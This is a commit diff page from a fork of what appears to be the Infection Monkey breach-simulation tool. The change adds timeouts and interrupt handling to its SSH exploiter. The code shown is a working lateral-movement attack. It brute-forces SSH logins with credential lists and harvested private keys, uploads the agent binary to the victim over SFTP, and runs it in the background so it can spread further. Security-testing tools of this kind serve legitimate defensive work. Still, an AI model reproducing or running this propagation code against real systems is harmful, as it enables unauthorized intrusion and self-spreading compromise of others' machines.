forked from p15670423/monkey
Merge pull request #1789 from guardicore/1611-interruptable-ssh-exploit
1611 interruptable ssh exploit
This commit is contained in:
commit
f3fddfb4ba
|
@ -1,9 +1,9 @@
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
import time
|
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
|
||||||
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
@ -14,9 +14,16 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
from infection_monkey.utils.threading import interruptable_iter
|
||||||
|
from infection_monkey.utils.timer import Timer
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
SSH_PORT = 22
|
SSH_PORT = 22
|
||||||
|
SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||||
|
SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||||
|
SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||||
|
SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||||
|
|
||||||
TRANSFER_UPDATE_RATE = 15
|
TRANSFER_UPDATE_RATE = 15
|
||||||
|
|
||||||
|
|
||||||
|
@ -26,13 +33,14 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(SSHExploiter, self).__init__()
|
super(SSHExploiter, self).__init__()
|
||||||
self._update_timestamp = 0
|
|
||||||
|
|
||||||
def log_transfer(self, transferred, total):
|
def log_transfer(self, transferred, total):
|
||||||
# TODO: Replace with infection_monkey.utils.timer.Timer
|
timer = Timer()
|
||||||
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
timer.set(TRANSFER_UPDATE_RATE)
|
||||||
|
|
||||||
|
if timer.is_expired():
|
||||||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
self._update_timestamp = time.time()
|
timer.reset()
|
||||||
|
|
||||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||||
|
@ -40,7 +48,14 @@ class SSHExploiter(HostExploiter):
|
||||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||||
)
|
)
|
||||||
|
|
||||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
ssh_key_pairs_iterator = interruptable_iter(
|
||||||
|
user_ssh_key_pairs,
|
||||||
|
self.interrupt,
|
||||||
|
"SSH exploiter has been interrupted",
|
||||||
|
logging.INFO,
|
||||||
|
)
|
||||||
|
|
||||||
|
for user, ssh_key_pair in ssh_key_pairs_iterator:
|
||||||
# Creating file-like private key for paramiko
|
# Creating file-like private key for paramiko
|
||||||
pkey = io.StringIO(ssh_key_pair["private_key"])
|
pkey = io.StringIO(ssh_key_pair["private_key"])
|
||||||
ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
|
ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
|
||||||
|
@ -52,10 +67,20 @@ class SSHExploiter(HostExploiter):
|
||||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
logger.error("Failed reading ssh key")
|
logger.error("Failed reading ssh key")
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
|
ssh.connect(
|
||||||
|
self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
pkey=pkey,
|
||||||
|
port=port,
|
||||||
|
timeout=SSH_CONNECT_TIMEOUT,
|
||||||
|
auth_timeout=SSH_AUTH_TIMEOUT,
|
||||||
|
banner_timeout=SSH_BANNER_TIMEOUT,
|
||||||
|
)
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Successfully logged in %s using %s users private key", self.host, ssh_string
|
"Successfully logged in %s using %s users private key", self.host, ssh_string
|
||||||
)
|
)
|
||||||
|
self.add_vuln_port(port)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
return ssh
|
return ssh
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -73,15 +98,31 @@ class SSHExploiter(HostExploiter):
|
||||||
secrets=self.options["credentials"]["exploit_password_list"],
|
secrets=self.options["credentials"]["exploit_password_list"],
|
||||||
)
|
)
|
||||||
|
|
||||||
for user, current_password in user_password_pairs:
|
credentials_iterator = interruptable_iter(
|
||||||
|
user_password_pairs,
|
||||||
|
self.interrupt,
|
||||||
|
"SSH exploiter has been interrupted",
|
||||||
|
logging.INFO,
|
||||||
|
)
|
||||||
|
|
||||||
|
for user, current_password in credentials_iterator:
|
||||||
|
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
ssh.connect(
|
||||||
|
self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
password=current_password,
|
||||||
|
port=port,
|
||||||
|
timeout=SSH_CONNECT_TIMEOUT,
|
||||||
|
auth_timeout=SSH_AUTH_TIMEOUT,
|
||||||
|
banner_timeout=SSH_BANNER_TIMEOUT,
|
||||||
|
)
|
||||||
|
|
||||||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
return ssh
|
return ssh
|
||||||
|
|
||||||
|
@ -114,19 +155,21 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_ssh_keys(port)
|
ssh = self.exploit_with_ssh_keys(port)
|
||||||
self.exploit_result.exploitation_success = True
|
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
try:
|
try:
|
||||||
ssh = self.exploit_with_login_creds(port)
|
ssh = self.exploit_with_login_creds(port)
|
||||||
self.exploit_result.exploitation_success = True
|
|
||||||
except FailedExploitationError:
|
except FailedExploitationError:
|
||||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
if self._is_interrupted():
|
||||||
|
self._set_interrupted()
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
if not self.host.os.get("type"):
|
if not self.host.os.get("type"):
|
||||||
try:
|
try:
|
||||||
_, stdout, _ = ssh.exec_command("uname -o")
|
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||||
uname_os = stdout.read().lower().strip().decode()
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
if "linux" in uname_os:
|
if "linux" in uname_os:
|
||||||
self.exploit_result.os = "linux"
|
self.exploit_result.os = "linux"
|
||||||
|
@ -154,9 +197,14 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
if self._is_interrupted():
|
||||||
|
self._set_interrupted()
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# open_sftp can block up to an hour if a machine is killed
|
||||||
|
# after a connection
|
||||||
with ssh.open_sftp() as ftp:
|
with ssh.open_sftp() as ftp:
|
||||||
self._update_timestamp = time.time()
|
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
agent_binary_file_object,
|
agent_binary_file_object,
|
||||||
self.options["dropper_target_path_linux"],
|
self.options["dropper_target_path_linux"],
|
||||||
|
@ -188,7 +236,7 @@ class SSHExploiter(HostExploiter):
|
||||||
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, self.current_depth - 1)
|
cmdline += build_monkey_commandline(self.host, self.current_depth - 1)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
||||||
|
|
||||||
logger.info(
|
logger.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
|
|
Loading…
Reference in New Issue